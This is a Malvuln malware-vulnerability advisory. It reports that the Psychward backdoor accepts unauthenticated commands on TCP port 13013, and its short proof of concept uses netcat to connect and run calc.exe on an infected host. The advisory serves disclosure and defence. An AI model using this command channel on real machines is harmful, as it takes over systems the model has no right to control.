Backdoor.Win32.Psychward.10 MVID-2022-0651 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/70c5f8d61f6ac67091c0c5860e456427.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 13013.  Third-party adversarys who can reach infected systems can issue various commands made available by the backdoor.
Family: Psychward
Type: PE32
MD5: 70c5f8d61f6ac67091c0c5860e456427
Vuln ID: MVID-2022-0651
Dropped files: winvxd.exe
Disclosure: 10/22/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 13013

psychward final, ready for action
exec "c:\Windows\system32\calc.exe"
file executed


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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